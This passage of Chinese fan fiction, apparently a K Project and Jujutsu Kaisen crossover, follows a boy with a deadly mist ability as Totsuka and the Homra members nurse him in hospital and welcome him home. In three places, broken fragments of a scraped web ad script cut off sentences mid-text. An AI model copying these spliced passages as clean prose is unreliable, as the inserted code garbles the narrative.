—像是雾气一样。他只用轻轻将它挥散,就能看见雾气底下蜷缩着的灵魂。 凪夜一坐得很端正,双手交叠着摆在被子上。他低头凝视着自己苍白的手背,问了一个对他来说至关重要的问题: “王,需要我做什么?” 十束多多良愣了一下。他褐色的双瞳盯着凪夜一,也问了一个问题:“夜一能为王做什么呢?” 恰巧这时草薙回来了,看见病房里头乌泱泱挤着一大票人,额角爆起一根青筋,手臂一抬,把他们都轰了出去:“理解你们想见新人的心情,但是不要挤在病房里面。自己干自己的事去!” 千岁洋也在行列之中,他扒着门把手喊冤:“草薙哥,这也是我的病房啊!” 回应他的是一张递到面前的出院单,还有一张购物清单。可靠的成年男性单手撑着门,比了个“再见”的手势。 “你可以出院了——还有,要是闲的话,都去帮我跑一趟商场。” 病房里顿时清净不少。他满意地关上门,提着一袋东西转身,还没来得及开口,就听见病床上传来让他警铃狂作的问题发言:“很多。绑架、暗杀、清理组织的叛徒、处理麻烦的敌人……我可以保证,他们都会死得很惨。” 如果说在三天以前,少年的发言一定没有丝毫可信度。偏偏是在今天,已经发现他是个权外者的情况下,有些话就不得不信了。 正是因为不得不信,背后展现的黑暗一角才更让人心惊。 草薙听见了十束的问题,想过会听到不太好的答案,但没想到会是这种程度:“以前经常有人叫你做这样的事吗?” 当然。甚至在更多时候,为了抓住目标的软肋,有些事情必须主动去做。 想要在本质极恶的世界暗面中达成目的,这些都是逃不开的必修课。而草薙出云露出这样的表情,是证明这边的情况还没有那么严峻吗? 他短暂地走了一下神,忘记回答草薙的问题。 再回过神来的时候,面前出现了十束的脸。 “要学会这些,一定吃了很多我想象不到的苦……很了不起啊,夜一。但是——” “但是,吠舞罗没有这样的任务,尊也不会对你下这样的命令。”草薙走到病床边上,安抚性地拍了一下凪夜一的脑袋,“借用那些家伙的话,吠舞罗是‘像家一样’的地方。在家里,只用考虑怎么玩就好了。” “偶尔也让我当一下成熟大人啊,草薙哥。”十束半真半假地抱怨,很快将注意力挪回白发少年身上,笑眯眯地道:“不过,事实就像他说的那样。而且现在,还有一项更伟大、更困难的事情要交给夜一君去做。” 凪夜一条件反射地绷紧精神。 “……什么事?” 一只冒着热气的粥碗被递到眼前,十束为它配上了隆重的出场音效。 “当当~那就是——把这碗小豆粥吃光!” 凪夜一的瞳孔微微一缩。 他用极其恐怖的表情盯着那晚小豆粥,仿佛那不是一碗热粥,而是能致人于死地的炸.弹。 雾气忽然在他脑海出声道:“接啊,愣着干嘛。你不是饿了吗?” 凪夜一在心里问道:“我可以接吗?” “为什么不能?”雾气摆出一副年长大叔的口吻说教他,“这是爱,爱和关心。不尝一口吗?” 凪夜一说:“可我们只见过一面。” “那又怎么了?”雾气无所谓道,“要是下毒了正好,能直接去下个世界了。” “但是,要是没下毒的话……” “那就留下来吧。” “……留下来?” “留下来,留在这里休息。”雾气的语调猛地沉了下去,“一条终点遥不可及的路,你还想以这种状态跑多久?” 啪嗒。 一滴水珠掉进碗里。 “……?” 凪夜一抬手擦了一下脸,在手背上找到一小块透明的水渍。仅此一滴的眼泪落得突如其来,他还没搞清楚状况,十束已经飞快地把小豆粥端开,从外套兜里掏出手帕:“抱歉,抱歉!不喜欢小豆是吗?没关系……那南瓜喜不喜欢?蔬菜呢?” 草薙叹了口气。他张开手臂,三人的头撞在一起,组成了一个略显拥挤的拥抱。 5. 王剑高悬5 不出意外的,凪夜一住院了。 医生给他的诊断是严重营养不良,而他自检下来的原因,是无节制的世界跳跃带来的严重反噬。 比起虚弱的外在,更大的问题是对法则的抵抗能力。虽然修复损伤之类的基本功能还在,但在这样下去,面临被法则撕碎的结局也不远了。和雾气说的一样,他必须停下来休息了。 凪夜一已经很久没休息过了,不是在找人就是在找人的路上。 对他来说,最能称之为休息的时候是一切难题都被抹除、等待目标前来的路上;最平静、平静到连疲劳感都离他远去的时候,是又一次失败,坐在原地挑选自己死法的瞬间。 对于死亡,凪夜一并没有什么特别的感受。 按照他的活法,大多数时候死去和活着其实根本没什么两样。如果有人站在他面前说要取走他的性命,他一定连连点头,欣然同意——不过,那要在解开狱门疆的封印之后。 少年捏着这颗骰子大小的六面体,对准天空,像玻璃珠似的转了转。 狱门疆一转,上面的眼睛也跟着转。灰白眼眶中璨璨的蓝色汇成一条模糊的线,有那么一瞬,倏地焕发出人眼一般鲜活的色彩。 凪夜一的心脏重重一跳,狱门疆从他僵硬的手指中掉下来,重新挂回胸口。 他呆愣地坐了好一会,胸膛开始剧烈地起伏。少年猛地从椅子上站起来,撑着窗沿大声叫道:“雾气!!” 雾气一副醉汉睡觉被打扰的语气:“哎。又怎么了?” 凪夜一说:“我要走。” 雾气好像傻眼了,好半天才问道:“你要去哪?……不对,走什么走!这这才几天?你给我坐下!” 凪夜一被雾气按回轮椅上。他刚刚做完检查,向护士小姐承诺可以自己回病房,刚走出检查区,轮椅的方向一转,拐向了一个无人的角落。 “我得走了……已经够久了。”他的神情有些焦躁,指尖神经质地扣紧轮椅扶手的缝隙,“他还在等我,我……” “连里面是什么都不知道,随随便便就开始用‘他’称呼了吗?”雾气往他发热的脑子上泼冷水,“好好待着。你答应过十束的,要乖乖地待在医院。” 凪夜一坐了回去,身体在走廊的寒风里微微发颤。 雾气提起了一个名字,令少年的注意力稍稍转移,脑海中自然而然浮现一道纤细的身影。 而后是对方总是挂在脸上的微笑、安定无拘的声线,每次听十束说话时,心中挥之不去的焦躁与郁气都会自然而然地消失不见。 “十束……”他重复了一遍,自言自语道,“他今天什么时候来?” 雾气打了个哈欠:“那你要失望了。今天是八田来。” 凪夜一顿了一下,这才想起来十束昨天告诉他今天有事来不了,会让八田过来看他。 少年唇角微抿,转动轮椅离开了这个角落。他的病房在八楼,离电梯还有一段距离,默不作声地走了一截,忽然听见身后传来一阵急促的脚步声。 随后,他的轮椅被人一把拽住了。 滚轮回退的瞬间,凪夜一眼底划过一道尖锐的冷意。受他意志影响,周身浮现稀薄的雾气,并隐隐有凝成雾刃的征兆——在看到是谁拽停他的轮椅时,这份遵从本能竖起的尖刺僵在半空,尚未成型的恶意戛然而止。 八田站在他身后,被他恐怖的表情吓了一跳,暂时没想起来发火,而是干巴巴地道歉:“抱、抱歉,我以为你听见我叫你了……” 很快,他的歉意拐了个大弯,变成了恼羞成怒:“……话说你那是什么表情啊?!刚刚我可是去你病房扑了个空又跑出来找了你好半天啊!生病了就好好待在病房里头,没事不准出来乱跑啊你这个臭小鬼!真让人操心!” 他语气很不客气,边大声说教边推着轮椅走,动静之大吸引了不少陌生人的注意,随后都被八田神情凶恶地挨个瞪了回去。 凪夜一低声道:“抱歉。” 八田剩下的说教顿时卡回嗓子里。 他好像没想到凪夜一会这么坦率地道歉,差点咬到舌头,好半天才别别扭扭地道:“算、算了,也不是什么大事……” 两人一路进了电梯。八田盯着少年一头很顺的白毛,忽然问道:“说起来,你是不记得路吗?” 凪夜一道:“记得。” “哈?”八田一脸不爽,“既然记得路干嘛摆出一副不知道该往哪走的表情啊!” 凪夜一:“我没……” “嘛,也没关系。” 他的解释刚开了个头就被八田打断了,攥着轮椅扶手的手掌微微一紧。背后没心眼的特攻队长丝毫没有打断人说话的自觉,一脚蹬开病房虚掩着的门,拿出‘成年人的度量’,开口为小小的事件画句号:“总之回来了就行,下次记得不要乱跑。你自己能站起来吗?要不要扶?” 一只手递到面前。 八田对同伴一直没什么脾气,发过的牢骚转头就忘,遇事也不会真的发火,底线宽容到了难以想象的地步,某种意义上可以称作吠舞罗同伴爱最猛烈之人。 凪夜一搭上了他的手。手掌不大,温度偏高,像是一团干燥的火焰。 他上了床,安安静静地盖上被子躺好。八田正在摆放自己今天探病带来的东西,手上不空嘴也没闲着:“你吃饭了没?” 凪夜一盯着医院一成不变的天花板,冷绿的眼瞳中沉着一片死寂的倒影。听见八田的询问,他轻轻“嗯”了一声。 “啊?”八田不可置信地转过头,“那我带的午饭……算了我自己吃也行。” 他把手里相当有个人风格的探病餐品摆上桌子,一边很有兴趣地问道:“我从草薙哥那里听说,你是权外者,和安娜一样。刚才的雾气是你的能力吗?要怎么用?” 躺下来以后,凪夜一就不怎么想说话。但他还是回答道:“放出来就可以。” “还挺便捷。”他评价道,“就是看着挺弱的。嘛,不过你也不需要能打,尊哥草薙哥还有吠舞罗的那些家伙会保护你的。” “说起来,有一件很重要的事情一直没问你。草薙哥也没有要问的意思……”他回过头,语气变得很危险。“你是被哪个混蛋推下去的?” 他的瞳色与十束的瞳色相似,盯着人看的时候却会泛出截然不同的凶光。 凪夜一沉默地移开视线,决定撒一个善意的小谎:“已经解决掉了。” 托他的音色与惯用语气的福,这句话听起来轻飘飘的,有点奇异的漠然。 八田见过他往人刀上撞的“壮举”,明白他不是普遍意义上的好茬,几乎立刻就对这句话深信不疑,凑过来重重地薅了一把他的脑袋:“哈!可以啊你这家伙,很能干嘛!出院以后要不要跟着我学啊?” 他朝自己比了个大拇指,然而凪夜一被压在枕头里抬不起头,什么都没看见。 少年的头发被揉得很散,凌乱地散在苍白的枕套上,像是一抔细细的雪。八田按下去那一下是什么样,过了好几分钟就还是那样。 凪夜一没爬起来,晕头转向地倒在床上,满脑子盘旋着一个疑问:我们很熟吗?这是在干什么? 然而,这仅仅只是一个开头。 这是八田第一次来探病,按照十束的指示,他要在病房里待一个下午,陪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 凪夜一说话。 起初他对十束提出激烈的抗议,被草薙按头镇压后不得不答应下来——为了打发时间,他带上了一堆充当消遣的东西,其中就有游戏机。结果到地方以后发现凪夜一竟然是个挺听话的小鬼,打发时间的活动中自然而然带上了他一份。 在忍受了近半个小时的音波骚扰后,凪夜一被八田拉起来打游戏。 他手里握着陌生得好像从来都没碰过的游戏机,看了一眼旁边摆好架势的八田,意识到了一件事:得学。 学习意味着要动脑子,而除非必要情况下,凪夜一根本不想动脑。 他盯着游戏启动的界面,纤白睫毛之下,冰绿的眼瞳中泛起几分阴郁的冷色。 好麻烦。好吵…… 真的好吵。 要不赶出去吧?虽然耳膜受伤了也能自己修复,但再怎么说这个音量也超限了。 “马上开始了啊。好好跟在我后面!” 凪夜一沉默地点下按键。 没走两步,被红圈锁定,暴死了。 “哈——?!”八田发出一声不可置信的嘲笑,“你是没打过游戏吗?你家里不让你玩?嘁,凑过来点,我教你!” 虽然说着是让他凑过去点,但实际情况是八田一把把他的手拽了过去。 凪夜一被他潦草又饱含激情的教学摧残了一会,游戏机的使用权重新回到他手上。八田朝他的肩膀拍出鼓励的一掌:“嘛,你学会怎么逃命就行。剩下的交给我就……喂!” 见凪夜一被他一巴掌拍了个趔趄,他脸色大变,一把把人捞回来:“你真是弱得可以……出院以后要好好吃饭啊!” 凪夜一感觉有点头晕,有可能是累的。明明只是普通的活动,甚至没有移动的需求,但不知道为什么,他感觉比杀人还累。 旁边八田的体温高得像个火炉,隔着小半米都觉得热。不如说,他已经有一段时间没感觉到过冷了,一团温和的温度始终环绕着他,尽职尽责地为他抵挡冬日凛冽的寒风。 他点按着游戏机的按键,上手了一会,飞快熟悉起来。 Boss在前头飞,耳边是八田抑扬顿挫的教学:“往左边躲!好——拉过来……看招!——可恶,被躲开了……再来!喂凪,别往那边跑啊!” 凪夜一又绕了回来。他操纵的角色使用盾和短剑,架起盾以后双手短暂地离开了操作键,不知道为什么,忽然感觉有点恍惚。 以前我也和谁做过这种事吗? 少年的双瞳失焦,短暂地走了一会神。恰巧屏幕上角色的护盾技能结束,八田残血的角色打出来Boss 的红血大招,短暂的读条结束后,两人暴毙,屏幕上闪出Game over的字样。 ……啊,结束了。 在八田的怒吼声响起来之前,上涌的困意先击倒了他。 凪夜一手中的游戏机落地,身体往旁边一倒,靠着八田的肩膀滑了下去。 八田:“可恶!!!——诶?” 他发现了肩膀上多出来的重量,被忽然失去意识的凪夜一吓了一跳,手忙脚乱地检查了一番才发现是睡着了,费解地皱起眉头。 “太弱了,真是的。” 口中这样抱怨着,他手脚麻利地把人搬运到床上摆好,盖好被子,抱着自己的滑板出门了。 到医院楼下的时候,他接到了十束的电话,终端那头传来青年的问候:“辛苦了八田酱。夜一今天怎么样?” 八田在阶梯面前站定,抱着滑板看看天,回想了一下这一个下午的经历。随后,他露出了一个自信满满的笑:“放心吧十束哥!他一下午都开心得不行啊!” 6. 王剑高悬6 入院的第十二天,窗外又下起了雪。 日期滑向深冬,越往后晴天越来越少,凪夜一象征性地盖了一条薄薄的毯子,坐在窗前看雪。 平常习以为常的生活节奏猛地被拉缓时,人通常会感到难以忍受的煎熬。凪夜一用了昼夜颠倒的混乱一周来渡过这种煎熬,从前几天开始,他已经能够做到一个人待着的时候什么都不想了。 “凪君,这样坐着不冷吗?” 身后传来护士小姐关怀的询问。 他还没想好要不要开口回答,病房的门忽然被推开了。十束多多良站在门口,笑眯眯地打了个招呼:“呀~虽然这个回答有点奇怪,但这个温度对我们来说想感觉到冷还是有点困难呢。” 护士听见声音转过头,顿时对他口中的“我们”有了数。 ——最近这伙打扮得奇奇怪怪的社会闲散人士经常出入医院,看行为作风总感觉不像什么好人。 染着一头很不正经的金发,身上挂着叮叮当当怪里怪气的铁片铁链,抽烟——虽然会自己进吸烟区,喝酒——试图把酒带进医院被抓包。 人多的时候会在病房里头大声吵闹,还有个矮个子,每次来的时候都堂而皇之地在医院大门前头玩滑板,速度太快吓到不少行人,反而会对提出抗议的人摆出恐吓的表情……总之从头到脚一副无良混混的风气,让人很难生出好感。 偏偏这样一群人里头,似乎有凪夜一的监护人。再加上这孩子的入院原因是重度营养不良,眼前这群人的情况就更让人头疼。 她思来想去,还是觉得不能这样视而不见,深吸一口气,努力摆出说教的姿态:“小孩子是很怕冷的,跟大人的情况不一样。你们怎么穿都没关系,但是请顾及一下凪君的身——” 镰本:“啊?!” 护士被吓得一缩,刚刚积攒起来的勇气烟消云散。 “镰本。”一只手无奈地拍了拍他的肩,“不要摆出这种表情啦。” 金发胖子脸上凶恶的表情奇迹般地收了起来。拍人的是位纤细的青年,长了一张清秀的脸孔,脸上总是挂着弧度很有亲和力的笑。 “抱歉,这家伙不是故意的。”他善意地解释,“夜一确实不太怕冷……” “哟凪!快起来!我们来接你出院了!” “在窗户前头发什么呆啊你!走了!” 十束还正在解释,身后两三个家伙已经越过他往病房里走了。几人的嗓门都挺大,热情四射——这段时间他想方设法地带不同的人过来探病,现在看起来效果还不错。 吠舞罗的家伙有些时候是有点难以接触,不过,不论是冷脸还是排斥的态度,永远不会是他们留给同伴的东西。 发现这群人的态度出乎意料地好,护士小姐紧张的心情放松了一点。 不过,更令她惊讶的是凪夜一的反应——他在门被推开的瞬间就回过头,冰绿色的眼瞳一眨不眨地锁定门口的这些身影。听见说要走,点了点头,立刻弯下腰去穿鞋。 凪夜一是个沉默、甚至有点冷漠的孩子。 接触过他的护士都知道,这孩子安静懂分寸、从不给人造成麻烦,相对的对外界反应很淡,其实并不好相处。只是年龄和苍白的外表很好地削弱了这一点,让他的冷淡一转为令人怜爱的安静,变得情有可原起来。 “去哪儿?”凪夜一问道。 十束朝他眨了一下左眼:“还用得着问吗——当然是回吠舞罗啦。” 因为住在医院并没有让他的身体情况好转,草薙一挥手,决定还是把人接回来。再鉴于十束是个无拘无束不靠谱的家伙,凪夜一接下来很长一段时间的吃住都在吠舞罗内。 时隔十多天再次走上街道,凪夜一的心情有点恍惚。 半个月之前,他为了找回狱门疆,在路上撞到了十束。半个月以后,他的一只手被十束牵着,和他一起往曾经逃出过一次的地方走。 一起来接他的几个家伙出了医院门陆陆续续说有事离开了,天空依旧灰蒙蒙的,身边也在飘雪。身边路过的人仍然像影子,仍然单调,但不再散发出从前那样令人窒息的空无感。 “多多良。”他忽然出声问道,“你想要什么?” ——这个称呼是两人一起抽纸条抽出来的,因为十束觉得“十束多多良先生”这个称呼实在是太奇怪了。八田最开始还因为凪夜一直呼十束名字这件事闹过点别扭,自己被叫过一次名字以后臭着脸夺门而去,隔天直接老实了。 十束冷不丁听见这么个问题,一时间没反应过来:“诶?什么?” 凪夜一埋着头走路,从十束的角度看过去,只能看见雪蓬蓬的头顶、和一小片冷白色的侧脸。 “我身上。”凪夜一盯着积雪的路面,声音很轻。“有什么是你想要拿走的?” 这是个突兀的、尖锐又刺人的问题,很容易衍生出很多不妙的发展。凪夜一没有意识到这一点,而十束只花了一秒不到的时间,就理解了他真正想表达的意思——善意是要有支撑的。他浸泡在善意里,起码要知道代价是什么。 “没有哦。”他有点惊奇地道,“夜一是在不安吗?” 没有哦。 凪夜一学着他的语气在心底回答道。 不安的来源只会是脱轨的事态和来源不明的危险。多多良很弱,雾气一刀就能解决,所以不会产生不安。只有不解。 “嘛,一般来说,是会有这种想法呢。为了某些[利益]去帮助别人什么的。”十束牵着他的手往前走,“不过在我看来,对人好不需要理由什么的吧?只是因为想做所以那么做了,很简单的事啦。” 凪夜一的心脏重重一跳。他的手指痉挛了一下,飞速地将自己的注意力从对方能吓死人的话上面移开,生硬地转移话题:“之前问多多良的事情。想好了吗?” 十束还是没反应过来:“诶?什么??” 凪夜一停住脚步,抬抬起头,眼中盛装着十束多多良浅浅的倒影。 “愿望。” 十束多多良也停下脚步。他迟疑了一下,问道:“……一定要许吗?”看见凪夜一疑惑的目光,他舒展眉头笑了一下,“没什么。心愿是很沉重的东西吧?夜一提到它的时候表情不太好,总感觉你其实很讨厌这个呢。” 凪夜一又产生了一种夺路而逃的冲动。但他的手被十束拉着,想逃也逃不了,只能低下头,另一只手习惯性地抓住胸前挂着的狱门疆。 “那是我的【规则】。等价交换,我得到了某样东西,就要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有对等的付出。” 十束眨了一下眼睛,在他面前蹲下来,手指轻轻戳了戳凪夜一的手背。 “交换……那你得到的东西,是这个挂坠吗?”他语气温和地问道,“第一次见到你的时候你急匆匆的,似乎就是为了把它抢回来呢。是对你很重要的东西吧?能给我看一看吗?” 霎时间,一股猛烈的寒意顺着凪夜一周身走了一圈。 十束多多良伸到面前的那只手如同破损磁带放出的影像一般扭曲起来,变成几张漆黑阴森的脸庞。一个怒气冲冲的声音在心底疯狂叫嚣:不要给他……不能给他!你忘了曾经的教训了吗?!说到底人都是一个样,天性卑劣贪婪又恶毒,你还想再跳进海里捞一次是不是?! 另一个声音恹恹地说:好孩子游戏差不多也玩够了吧……该走了。非要试出来不好的东西才肯死心吗? 凪夜一浑身僵硬地伸出手,把颈上的挂坠取下来,放进十束多多良摊平的掌心。 有着亚麻色中长发的青年仔细观察了一下这枚外型诡异的物品,被惊了一下:“呜哇……这个手感……” 【捏起来有点奇怪啊。】 “这些眼睛是怎么做的?颜色很好看啊,像真的一样。每面都有,是骰子吗?” 【眼睛的颜色有点意思。不要摆出这种紧张的神情嘛……对了,你不是让我许个愿吗?这个我挺喜欢的,给我怎么样?】 第一个发现狱门疆的人,借着许愿的机会,把它从自己手里抢走了。 其实许愿的人对它根本不感兴趣,但因为它对自己很重要,所以在对方那里也有了价值——能轻而易举看到自己捡来的小玩具崩溃的价值。 后来凪夜一杀了他,从一地血淋淋的残肢里头捡回了这枚方块。 “不过,果然我还是有一点好奇。‘对等的付出’是指什么?你得到了这个挂坠,就必须要接受许愿的规则吗?” 【您……您不是神吗?既然是神,那什么都能做到对吧?!能救救我女儿吗……求求您,求求您了……】 “如果真是这样,那它对你的重要性一定超乎想象。愿望这个东西,可不是简简单单就能背负的啊。” 【救不了……救不了!!你算什么神啊?!你把我的女儿害死了……恶魔!!我失去生命里最重要的东西,你凭什么还能悠哉游哉地活着?!你……你——!!】 第二个发现狱门疆的人,捧着一团血肉模糊的尸体来找他,希望他能把她救活。 但死人是救不活的,原本跪着请求他的人夺走了放在神社供台上醒灵的狱门疆,将它扔进了海里。 凪夜一跳下海,在冰冷的海中漂了两天,找回来以后举着它看了一会,顺着一道迎头打来的海浪,沉进了海底。 “既然避免不了,那我也来许个愿吧。”十束把挂坠的绳子牵起来,狱门疆上数只蓝色的眼睛在雪中闪着浅浅的光泽。下一秒,它被好好地挂回了凪夜一脖子上——在少年骤然瞪大的眼瞳之中,十束煞有介事地合拢手掌,闭上眼睛,一副对着生日蛋糕许愿的样子。 他说:“我的愿望是,夜一的身体能赶快好起来。” 说完这句,他悄悄睁开一只眼睛,试探性地问道:“……应该可以吧?” 7. 王剑高悬7 离开医院以后,两人并没有直接回吠舞罗。十束带着他在外头四处闲逛,夜色落下时接了个电话,轻快地对凪夜一眨了下眼睛:“把这块大福吃完就走吧,到回去的时间了。” 坐在他对面的凪夜一点了点头。 咖啡店暖黄的灯光洒在少年身上,将他脸上时常透出的冷色融化了一些。 他身上穿的不再是医院的病号服,而是十束提前买好送过去的一套常服——衬衫长裤加一件米色的针织外套,发尾顺着低头的动作扫过领口,风格正常得令人意外。 瓷盘里还剩下最后一块大福,看颜色似乎是很甜的种类,咬进口中却尝不出什么特别的味道。 因为味觉时灵时不灵,凪夜一对进食一向没什么激情。 他很快将这块大福解决掉,擦拭干净嘴角,从座椅上站起来。十束把搭在椅背上的外套捞进怀里,拉着凪夜一的手往外走。 “夜一的吃相很好诶。”他推开门,咖啡店门上的铃铛在扑面而来的寒气中发出清脆的响声,“家里是管得比较严的那种吗?” “……不知道。”凪夜一说。 十束“啊”了一声。他弯起眼睛,呼吸被寒风凝成一团浅白的雾气:“我也不知道。父母在我很小的时候就去世了,说句薄情的话,现在我连他们的样子都记不太清楚了。” 明明聊的不是什么好话题,两个人看起来却都不怎么在意。 “不过幸运的是,后来我遇见了King和草薙哥,从学生时代开始,几乎都待在那两个人的身边,算起来也有好多年了。啊呀……说起来吠舞罗真是个——” 十束飘飘然的感叹在看见街角酒吧那扇门时停住。 他用柔和的目光凝视了它一会,手掌扶在凪夜一的背后,往前轻轻一推。 “走吧,夜一。”他说,“到家了。” * 家。 简单,陌生,遥远的词语。 天已经黑了,有限的光源中能看见身边缓慢飘下来的小雪。这是他第一次真正看见吠舞罗的全貌,吠酒吧的玻璃门扇上透出朦胧的灯光,远远看去,像是雪原上一座小小的、温暖的屋舍。 这是……多多良的家。 他迈上酒吧门前的台阶,手搭上门、正要推开的时候竟然短暂地踌躇了一下。这份踌躇带来一些诡异的焦灼,两相作用之下,发生了奇妙的反应——凪夜一开始转动脑子思考了。 这个时间是酒吧的营业点,门前的挂牌却翻成了CLOSE的字样。 今天没有营业,小雪天门口却特意扫过。酒吧里开着灯,门后异常安静,吧内似乎空无一人。明明是来接他出院却半道消失的家伙,回想神情很明显只是顺路;从刚刚就没有跟上来、故意落在后头的十束,如果没猜错的话…… 正在用终端录像。 凪夜一迅速扭过头,果然看见了十束举起的双手、和他手里捧着的终端,见凪夜一回头,惊讶地“啊咧”了一声—— 下一刻,酒吧的门猛地被拉开。 一只手用力揽过他的肩膀,另一双手穿过腋下,稍一使劲,一下把他整个人提了起来。晕头转向的失重感和骤然炸响的礼花筒声和欢呼声中,八田优越的嗓门炸雷一般落在耳边:“站在门口发什么呆啊小鬼!!我一口气都快憋不住了啊!!!” 即使有准备,凪夜一也扎扎实实地被吓到了。他瞪大眼睛,浑身僵得像一只被人拎住后颈的小猫,一下失去了行动能力。 空中飘着五颜六色的礼花,雾气条件反射地漫出来,蛋壳一样包裹住他的身体——还有举着他的镰本的手。 金发胖子在他背后哈哈大笑:“那是因为八田桑太弱了吧!我一口气能憋你双倍的时间!” 人群爆发出一阵响亮的嘲笑声。八田恼羞成怒地挥舞拳头:“混蛋!混蛋胖子!小心我揍你啊!” “喂,快把人放下来。举太高了吓到人了!” “噢——噢噢噢……”镰本飞快回应了草薙的指令,把凪夜一放回地上,正要收回手的时候,墨镜下的神色陡一转向惊恐:“我……我的手……” 凪夜一立刻把雾气收了回去,惊慌失措地倒退几步,猛地撞上一个人的腿。他来不及确认自己撞到的是谁,视线死死地锁着镰本力夫,胖胖的青年举起手在灯下看了看,接上了后半句话:“……没事!” 八田同样响亮地“哈”了一声:“一惊一乍的!你这家伙!” “好逊啊镰本,”门口的十束也笑道,“已经连夜一都举不起来了吗?” 酒吧里聚着不少生面孔,看热闹不嫌事大,笑嘻嘻地凑在一起起哄。镰本涨红了脸挨个反驳,凪夜一的视线追着他的手跑,还没看出什么异样,一只大掌忽然拎住他的领口,把他往前提了一截。周防尊懒洋洋的声音在身后响起:“缩在角落里干什么,往前站。” 一楼酒吧的中央被腾出相当大一块空地,凪夜一被周防尊放进吠舞罗众人的视线之中。他左脚一退又想跑,左手却忽然被轻轻抓住了。 “没关系。”安娜握着他的手,赤红的双瞳中透出令人安心的镇定,“力夫的手,没事。” “是啊。”一位陌生的棕发青年笑眯眯地道,“所以笑一笑吧,‘主角’。” “好酷啊!这个称呼!”旁边人嚎道,“我也想当主角啊藤岛哥!” ——主角。 站在天花板上重重叠叠的彩花条和霓虹灯条下,凪夜一感到灵魂离体般的虚幻。 十束已经找好机位架起了终端,兴致勃勃地往中间走。他张开双臂,一左一右地把凪夜一和安娜搂进怀里,高声宣布道:“那就开始吧——” 他忙里偷闲伸出两只手,对着镜头比了个“耶”。 “庆祝夜一正式加入吠舞罗的欢迎会!” “不是早就开始了吗!” 凪夜一贴在他拥挤的臂弯里头,原本死水一般的心脏在胸膛里狂跳。不知道是不是因为缺氧的原因,苍白的脸上泛起红晕,连带着耳尖也红了一片。 草薙站在十束架好的终端后面充当摄影师,鼻梁上架着的紫色眼镜微微反光,嘴角的笑容有点无奈。 “一群吵吵闹闹的家伙……”他低声念叨了一句,看见有人手舞足蹈地靠向吧台时立刻变了脸色:“喂!不准去抓吧台上的东西!” 这场吵闹一直持续到凌晨。 周防尊早就上楼了,氏族成员们把一楼打扫干净以后陆陆续续离开。十束送安娜回房间睡觉,又领凪夜一去认了房间,忙活了好一会才下楼,往沙发上一坐,呼出一口气。 草薙在他身边坐下,靠着沙发一瘫,脸上神情有点呆滞。 十束笑道:“草薙哥,终端呢?” 草薙摸出终端递给他,顺便点了根烟。 十束对烟草味适应良好,低头给屏幕解锁,终端上方浮现一块光屏,上头正在播放刚才录下来的影像。 “好久没这么热闹过了。”他感叹道,“上一次办欢迎会,还是安娜来的时候。” “嘛……确实。偶尔热闹一下也不错。”草薙凑过去跟他一起看录像,“你的镜头是不是调得太低了?几乎都是在拍凪啊。” 十束:“诶?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他仔细看了看,发现好像真的是这样。 “终端拍照录像感觉总是缺了点什么啊。”青年若有所思,“要不要去买台相机呢……” 草薙吐槽道:“真买了以后肯定过不了多久就放在酒吧的角落里吃灰吧你这个三分钟热度!……话说凪的表情怎么看起来一直有点不对劲啊。不喜欢太吵的地方吗?” 十束闻言将录像暂停,影像被放大,画面暂停在少年僵硬的表情和慌张瞪大的双瞳之上。 “这个啊,”十束笑眯眯地道,“是害羞的表情哦。” * 总算把十束送走了,凪夜一关上房门,背靠着门滑坐下来,抱住膝盖把自己蜷成一团。 他平日里弧度柔顺的白发此时乱糟糟地翘起,藏在臂弯里的眼瞳很不安定地微微发抖。脸上的皮肤很烫,不用想也知道一定红得能滴血,而该死的雾气还一直围在他身边,喋喋不休地问来问去:“你缩这么紧干嘛?” “喂……难不成你是在害羞吗?” “喂喂,把脸抬起来嘛夜一酱!让我也看一看啊!” 凪夜一死死埋着头,一个字都不肯听,也不肯把脸抬起来。 他维持了这个姿势很久,直到被人声和音乐轰得晕头转向的思绪逐渐平复,脑袋里不再像滚水沸腾一般又杂又乱,才松开手臂,后脑勺抵着门,深深地吸了一口气。 这个时候,一直被强压着的不安和后怕才一股脑涌了上来。 雾气瞅了一眼他的表情,很识趣地把欠扁的做派收好,安慰道:“放心吧,不会有事的。” 凪夜一抓了一把头发。他习惯性地将狱门疆攥进手心,像是抓着唯一一根能维持理智的救命稻草。 方块的触感很奇怪,摸起来有点冷,放大以后又软又硌手。 凪夜一的手掌盖不住它,指缝之间透出几点清透的蓝色,方块上的眼球不约而同地转动方向,在少年不曾注意到的地方,静默地凝视他。 过了很久,他才喃喃道:“……没事就好。” 凪夜一的异能【雾气】,分为两个形态。 第一个主动形态,是一团普普通通的雾气。拥有自我意识和半透明的形体,没有战斗能力,唯一能做的事就是张嘴说话,通常在四下无人时出现。 第二个形态是它的常态。没有自我意识,外显形态为雾刃,被动发动,负责切碎一切对凪夜一怀有恶意、造成或试图造成伤害的对象。 范围听起来有些模糊,但判定基准极其明确。雾气运转的理由只有一个——那就是[针对凪夜一的恶意加害行为]。 如果凪夜一中了一枪,那么八百里开外的狙击手会在他中枪的同时碎成一堆尸块。偶尔也会出现更为理想的情况,在凪夜一受到伤害的零点几秒前,雾气能提前感知到危险源头,解决目标。 能力上限不明,但对过往的绝大多数目标都能做到一击毙命。 正因为有雾气存在,凪夜一才能在黑暗之中安全行走。在充满恶意的世界背面,这项能力是天然的、牢不可破的保护罩。 但在吠舞罗呢? 依据过往的经验来看,凪夜一多少知道自己不太讨人喜欢。 今晚与他人的肢体接触比他这辈子经历过的都多,十束他们在安全范围内,但如果生面孔中有厌恨他的、并且恰巧想做些不大不小的手脚—— 回过头的时候看见喷溅的鲜血和散落的断肢,十束会怎么想? 凪夜一沉默地将脸埋进臂弯,只露出一双被阴影掩盖的眼睛。 ——那样的话,一切就完蛋了。 8. 王剑高悬8 一直躺在床上盯着手腕上那枚印记看的结果就是,直到天快亮的时候他才睡着。与其说是睡着,不如说是大脑强制身体关机,完成两个小时机械性睡眠之后,凪夜一睁开了眼睛。 然而,这次醒来以后,他立刻感觉自己的身体有什么地方不一样了。 一直盘踞在身体里的疲劳与虚脱感明显减轻,总是昏沉的大脑也轻松了一些。 